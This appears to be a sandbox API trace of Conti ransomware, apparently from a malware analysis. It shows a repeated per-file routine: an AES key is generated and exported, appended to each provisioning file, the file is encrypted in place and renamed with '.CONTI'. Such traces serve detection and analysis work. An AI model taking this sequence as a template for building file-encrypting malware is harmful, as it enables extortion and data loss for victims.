	[0110.156] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.156] WriteFile (in: hFile=0x3e4, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x320, lpOverlapped=0x0) returned 1
	[0110.156] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.156] WriteFile (in: hFile=0x3e4, lpBuffer=0x6564148*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6564148*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0110.156] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.156] CloseHandle (hObject=0x3e4) returned 1
	[0110.157] GetProcessHeap () returned 0x1720000
	[0110.157] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.157] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml"
	[0110.157] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.157] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.157] GetProcessHeap () returned 0x1720000
	[0110.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.157] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.157] GetProcessHeap () returned 0x1720000
	[0110.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71d08 | out: hHeap=0x1720000) returned 1
	[0110.158] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0110.158] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6562cc8 | out: phKey=0x6562cc8*=0x6b7f6b8) returned 1
	[0110.158] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6562ccc, pdwDataLen=0x35ffa54 | out: pbData=0x6562ccc*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0110.158] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.159] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.159] GetLastError () returned 0x0
	[0110.159] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=775) returned 1
	[0110.159] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x307
	[0110.159] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.159] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.159] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.159] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.159] WriteFile (in: hFile=0x3e4, lpBuffer=0x6562ccc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6562ccc*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.163] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.163] ReadFile (in: hFile=0x3e4, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x307, lpOverlapped=0x0) returned 1
	[0110.163] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x307, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x310) returned 1
	[0110.163] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.163] WriteFile (in: hFile=0x3e4, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x310, lpOverlapped=0x0) returned 1
	[0110.163] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.163] WriteFile (in: hFile=0x3e4, lpBuffer=0x6562cc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6562cc0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0110.163] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.163] CloseHandle (hObject=0x3e4) returned 1
	[0110.163] GetProcessHeap () returned 0x1720000
	[0110.163] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.163] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml"
	[0110.163] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.164] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.461] GetProcessHeap () returned 0x1720000
	[0110.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.941] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0110.941] GetProcessHeap () returned 0x1720000
	[0110.941] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71e50 | out: hHeap=0x1720000) returned 1
	[0110.941] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0110.941] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x656e3c8 | out: phKey=0x656e3c8*=0x17c7c30) returned 1
	[0110.941] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656e3cc, pdwDataLen=0x35ffa54 | out: pbData=0x656e3cc*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0110.942] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.942] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0110.942] GetLastError () returned 0x0
	[0110.942] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=463) returned 1
	[0110.942] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cf
	[0110.942] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.942] SetEndOfFile (hFile=0x40c) returned 1
	[0111.368] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.368] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.368] WriteFile (in: hFile=0x40c, lpBuffer=0x656e3cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x656e3cc*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.373] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.373] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1cf, lpOverlapped=0x0) returned 1
	[0111.373] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1cf, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1d0) returned 1
	[0111.373] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.373] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1d0, lpOverlapped=0x0) returned 1
	[0111.373] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.374] WriteFile (in: hFile=0x40c, lpBuffer=0x656e3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x656e3c0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0111.374] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.374] CloseHandle (hObject=0x40c) returned 1
	[0111.424] GetProcessHeap () returned 0x1720000
	[0111.424] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.954] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.954] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.954] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.955] GetProcessHeap () returned 0x1720000
	[0111.955] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.955] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0111.955] GetProcessHeap () returned 0x1720000
	[0111.955] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80870 | out: hHeap=0x1720000) returned 1
	[0111.955] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0111.955] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x18052d8 | out: phKey=0x18052d8*=0x6b7f038) returned 1
	[0111.955] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18052dc, pdwDataLen=0x35ffa54 | out: pbData=0x18052dc*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0111.956] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.956] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0111.957] GetLastError () returned 0x0
	[0111.957] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=711) returned 1
	[0111.957] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0111.957] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.957] SetEndOfFile (hFile=0x410) returned 1
	[0111.957] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.957] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.957] WriteFile (in: hFile=0x410, lpBuffer=0x18052dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x18052dc*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.962] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.963] ReadFile (in: hFile=0x410, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2c7, lpOverlapped=0x0) returned 1
	[0111.963] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2c7, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2d0) returned 1
	[0111.963] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.963] WriteFile (in: hFile=0x410, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.963] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.963] WriteFile (in: hFile=0x410, lpBuffer=0x18052d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x18052d0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0111.963] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.963] CloseHandle (hObject=0x410) returned 1
	[0111.963] GetProcessHeap () returned 0x1720000
	[0111.963] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.963] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml"
	[0111.963] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.963] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.964] GetProcessHeap () returned 0x1720000
	[0111.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.964] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.964] GetProcessHeap () returned 0x1720000
	[0111.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6be0 | out: hHeap=0x1720000) returned 1
	[0111.964] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0111.964] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x1805768 | out: phKey=0x1805768*=0x6b7f4f8) returned 1
	[0111.964] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180576c, pdwDataLen=0x35ffa54 | out: pbData=0x180576c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
